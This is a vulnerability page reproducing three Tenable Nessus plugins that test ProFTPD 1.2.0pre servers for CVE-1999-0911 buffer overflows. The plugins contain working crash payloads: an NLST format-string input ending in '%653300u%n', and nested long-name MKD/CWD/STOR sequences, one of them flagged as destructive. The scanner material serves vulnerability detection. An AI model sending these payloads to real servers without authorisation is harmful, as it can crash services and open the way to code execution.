Vulnerabilities > CVE-1999-0911 - Remote Buffer Overflow in ProFTPD

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10191);
 script_version("1.50");
 script_cvs_date("Date: 2018/11/15 20:50:22");

 script_cve_id("CVE-1999-0911");
 script_bugtraq_id(612);

 script_name(english:"ProFTPD NLST Command Argument Handling Remote Overflow");
 script_summary(english:"Checks if the remote ftp can be buffer overflowed");

 script_set_attribute(attribute:"synopsis", value:"The remote FTP server is affected by a buffer overflow vulnerability.");
 script_set_attribute(attribute:"description", value:
"It was possible to crash the remote FTP server by issuing a specially
crafted command, such as 'NLST aaaXXXX%u%[...]%u%u%u%%u%653300u%n'
where 'XXXX' is replaced with four characters - ASCII values 0xDC,
0x4F, 0x07 and 0x08. This issue is known to affect ProFTPD version
1.2.0pre6, although other FTP servers may be affected as well.

It is likely that a remote attacker can leverage this issue to execute
arbitrary code on the remote host, subject to the privileges under
which the service runs.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/293");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/314");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/328");
 script_set_attribute(attribute:"solution", value:
"If running ProFTPD, upgrade to version 1.2.0pre7 or later; otherwise,
contact the vendor to see if an update exists.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value:"1999/09/21");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
 script_end_attributes();

 script_category(ACT_MIXED_ATTACK); # mixed
 script_family(english:"FTP");

 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");

 script_dependencie("ftpserver_detect_type_nd_version.nasl", "wu_ftpd_overflow.nasl");
 script_exclude_keys("ftp/ncftpd", "ftp/msftpd");
 script_require_keys("ftp/login", "Settings/ParanoidReport");
 script_require_ports("Services/ftp", 21);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("ftp_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_ftp_port(default: 21);

# First, we need anonymous access
login = get_kb_item("ftp/login");
password = get_kb_item("ftp/password");

banner = get_ftp_banner(port:port);


if(!(login) || (safe_checks()))
{
 if(banner)
 {
   if(egrep(pattern:"^220 ProFTPD 1\.2\.0pre[1-6][^0-9]", string:banner))
   {
     report = string(
       "\n",
       "Note that Nessus has determined the vulnerability exists based solely\n",
       "on the following service banner :\n",
       "\n",
       "  ", banner
     );
     security_hole(port:port, extra:report);
   }
 }
 exit(0);
}


soc = open_sock_tcp(port);
if (! soc) exit(1);

if (! ftp_authenticate(socket:soc, user:login, pass:password))
  exit(1, "Could not authenticate on the FTP server on port "+port+".");

  #
  # Solaris's FTPd won't answer to an NLST until a port has been
  # opened to receive the data.
  #
send(socket:soc, data:'NLST /\r\n');
r = ftp_recv_line(socket:soc);
if (!r) exit(1);

  buf = raw_string("aaa", 0xdc, 0x4f, 0x07, 0x08);
  buf = buf + crap(data:"%u", length:72)  + "%653300u%n";
  c = "NLST "+buf+'\r\n';
  send(socket:soc, data:c);
  b = ftp_recv_line(socket:soc);
  if(!b)security_hole(port);
  close(soc);

#
# (C) Tenable Network Security, Inc.
#

#
# This is not a duplicate of 10189 !
#


include("compat.inc");

if(description)
{
 script_id(10190);
 script_version("1.46");
 script_cvs_date("Date: 2018/11/15 20:50:22");

 script_cve_id("CVE-1999-0911");
 script_bugtraq_id(612);
 
 script_name(english:"ProFTPD 1.2.0pre4 mkdir Command Directory Name Handling Remote Overflow");
 script_summary(english:"Checks if the remote ftp can be buffer overflown");

 script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is prone to a buffer overflow attack.");
 script_set_attribute(attribute:"description", value:
"It was possible to crash the remote FTP server by creating a large
number of nested directories and then trying to upload a file.  This
issue is known to affect ProFTPD, although other FTP servers may be
affected as well. 

It is likely that a remote attacker can leverage this issue to execute
arbitrary code on the remote host, subject to the privileges under
which the service runs.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Sep/143");
 script_set_attribute(attribute:"solution", value:
"Configure the service so that directories are not writable by
'anonymous' or any untrusted users. 

If running ProFTPD, upgrade to version 1.2.0pre6 or later; otherwise,
contact the vendor to see if an update exists.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value:"1999/08/31");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
 script_end_attributes();

 script_category(ACT_DESTRUCTIVE_ATTACK);
 script_family(english:"FTP");
 
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
		  
 script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_writeable_directories.nasl", "wu_ftpd_overflow.nasl");
 script_require_ports("Services/ftp", 21);
 exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("ftp_func.inc");

#
# The script code starts here : 
#

port = get_ftp_port(default: 21);

login = get_kb_item("ftp/login");
pass  = get_kb_item("ftp/password");

# Then, we need a writeable directory
wri = get_kb_item("ftp/"+port+"/writeable_dir");
if (! wri) wri = get_kb_item_or_exit("ftp/writeable_dir");

nomkdir = get_kb_item_or_exit("ftp/"+port+"/no_mkdir");

banner = get_ftp_banner(port:port);
if (report_paranoia < 2 && (!banner || "ProFTPD" >!< banner)) exit(0);

soc = open_sock_tcp(port);
if (! soc) exit(1);

if (! ftp_authenticate(socket:soc, user:login, pass:pass))
  exit(1, "Could not authenticate on port "+port+".");

  c = string("CWD ", wri, "\r\n");
  send(socket:soc, data:c);
  b = ftp_recv_line(socket:soc);
  cwd = string("CWD ", crap(100), "\r\n");
  mkd = string("MKD ", crap(100), "\r\n");
  num_dirs = 0;
  for(i=0;i<9;i=i+1)
  {
  send(socket:soc, data:mkd);
  b = ftp_recv_line(socket:soc);
  if(!egrep(pattern:"^257 .*", string:b))
  {
   i = 9;
  }
  else
  {
   num_dirs = num_dirs + 1;
   send(socket:soc,data:cwd);
   b = ftp_recv_line(socket:soc);
   if(!egrep(pattern:"^250 .*", string:b))
    {
     i = 9;
    }
   }
  }
  
  
  port2 = ftp_pasv(socket:soc);
  soc2 = open_sock_tcp(port2);
  if(soc2)
  {
   command = string("STOR ", crap(100), "\r\n");
   send(socket:soc, data:command);
   b = ftp_recv_line(socket:soc);
   send(socket:soc2, data:crap(100));
   close(soc2);
   b = ftp_recv_line(socket:soc);
   command = string("HELP\r\n");
   send(socket:soc, data:command);
   b = ftp_recv_line(socket:soc);
   if(!b){
	security_hole(port);
   	exit(0);
	}
  ftp_close(socket:soc);
  
  
  if(!num_dirs)exit(0);
  
  soc = open_sock_tcp(port);
  if(!soc)exit(0);
  ftp_authenticate(socket:soc, user:login, pass:pass);
  for(i=0;i<num_dirs;i=i+1)
  {
   send(socket:soc, data:string("CWD ", crap(100), "\r\n"));
   b = ftp_recv_line(socket:soc);
  }
  
  
  send(socket:soc, data:string("DELE ", crap(100), "\r\n"));
  b = ftp_recv_line(socket:soc);
  send(socket:soc, data:string("CWD ..\r\n"));
  b = ftp_recv_line(socket:soc);
  for(i=0;i<num_dirs; i = i+1)
  {
   send(socket:soc, data:string("RMD ", crap(100), "\r\n"));
   b = ftp_recv_line(socket:soc);
   send(socket:soc, data:string("CWD ..\r\n"));
   b = ftp_recv_line(socket:soc);
  }
  
  ftp_close(socket:soc);
 }

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10189);
 script_version("1.50");
 script_cvs_date("Date: 2018/11/15 20:50:22");

 script_cve_id("CVE-1999-0911");
 script_bugtraq_id(612);

 script_name(english:"ProFTPD mkdir Buffer Overflow");
 script_summary(english:"Checks if the remote ftp can be buffer overflown");

 script_set_attribute(attribute:"synopsis", value:"The remote FTP server is vulnerable to a buffer overflow attack.");
 script_set_attribute(attribute:"description", value:
"It is possible to crash the remote FTP service by creating a large
number of nested directories with names no longer than 255 chars. This
issue is known to affect ProFTPD, although other FTP servers may be
affected as well.

It is likely that a remote attacker can leverage this issue to execute
arbitrary code on the remote host, subject to the privileges under
which the service runs.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Aug/337");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1999/Aug/356");
 script_set_attribute(attribute:"solution", value:
"Configure the service so that directories are not writable by
'anonymous' or any untrusted users.

If running ProFTPD, upgrade to version 1.2.0pre6 or later; otherwise,
contact the vendor to see if an update exists.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"1999/08/27");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/09/10");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
 script_end_attributes();

 script_category(ACT_MIXED_ATTACK); # mixed
 script_family(english:"FTP");

 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");

 script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_writeable_directories.nasl", "wu_ftpd_overflow.nasl");
 script_require_keys("ftp/login", "ftp/writeable_dir", "Settings/ParanoidReport");
 script_require_ports("Services/ftp", 21);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ftp_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_ftp_port(default: 21);

if(safe_checks())
{
 banner = get_ftp_banner(port: port);
 if(banner)
 {
   if(egrep(pattern:"^220 ProFTPD 1\.2\.0pre[1-5][^0-9]", string:banner))
   {
     report = string(
       "\n",
       "Note that Nessus has determined the vulnerability exists based solely\n",
       "on the following service banner :\n",
       "\n",
       "  ", banner
     );
     security_hole(port:port, extra:report);
   }
 }
 exit(0);
}


# First, we need anonymous access

login = get_kb_item_or_exit("ftp/login");
pass  = get_kb_item("ftp/password");

# Then, we need a writeable directory
wri = get_kb_item("ftp/"+port+"/writeable_dir");
if (! wri) wri = get_kb_item_or_exit("ftp/writeable_dir");

ovf = get_kb_item("ftp/"+port+"/wu_ftpd_overflow");
if(ovf)exit(0);

nomkdir = get_kb_item("ftp/"+port+"/no_mkdir");
if(nomkdir)exit(0);

# Connect to the FTP server
soc = open_sock_tcp(port);
if (! soc) exit(1);

if (! ftp_authenticate(socket:soc, user:login, pass:pass))
  exit(1);

  num_dirs = 0;
  # We are in

  c = string("CWD ", wri, "\r\n");
  send(socket:soc, data:c);
  b = ftp_recv_line(socket:soc);
  cwd = string("CWD ", crap(254), "\r\n");
  mkd = string("MKD ", crap(254), "\r\n");

  #
  # Repeat the same operation 20 times. After the 20th, we
  # assume that the server is immune (or has a bigger than
  # 5Kb buffer, which is unlikely
  #


  for(i=0;i<20;i=i+1)
  {
  send(socket:soc, data:mkd);
  b = ftp_recv_line(socket:soc, retry: 3);

  # No answer = the server has closed the connection.
  # The server should not crash after a MKD command
  # but who knows ?

  if(!b){
  	security_hole(port);
	exit(0);
	}

  if(!egrep(pattern:"^257 .*", string:b))
  {
   i = 20;
  }
  else
  {
  send(socket:soc,data:cwd);
  b = ftp_recv_line(socket:soc, retry: 3);

  #
  # See above. The server is likely to crash
  # here

  if(!b)
       {
  	security_hole(port);
	exit(0);
       }

   if(!egrep(pattern:"^250 .*", string:b))
   {
    i = 20;
   }
   else num_dirs = num_dirs + 1;
   }
  }
  ftp_close(socket:soc);

  if(!num_dirs)exit(0);

  soc = open_sock_tcp(port);
  if(!soc)exit(0);

  ftp_authenticate(socket:soc, user:login, pass:pass);
  send(socket:soc, data:string("CWD ", wri, "\r\n"));
  r = ftp_recv_line(socket:soc);
  for(j=0;j<num_dirs;j=j+1)
  {
   send(socket:soc, data:string("CWD ", crap(254), "\r\n"));
   r = ftp_recv_line(socket:soc);
  }

  for(j=0;j<num_dirs + 1;j=j+1)
  {
   send(socket:soc, data:string("RMD ", crap(254),  "\r\n"));
   r = ftp_recv_line(socket:soc);
   if(!egrep(pattern:"^250 .*", string:r))exit(0);
   send(socket:soc, data:string("CWD ..\r\n"));
   r = ftp_recv_line(socket:soc);
  }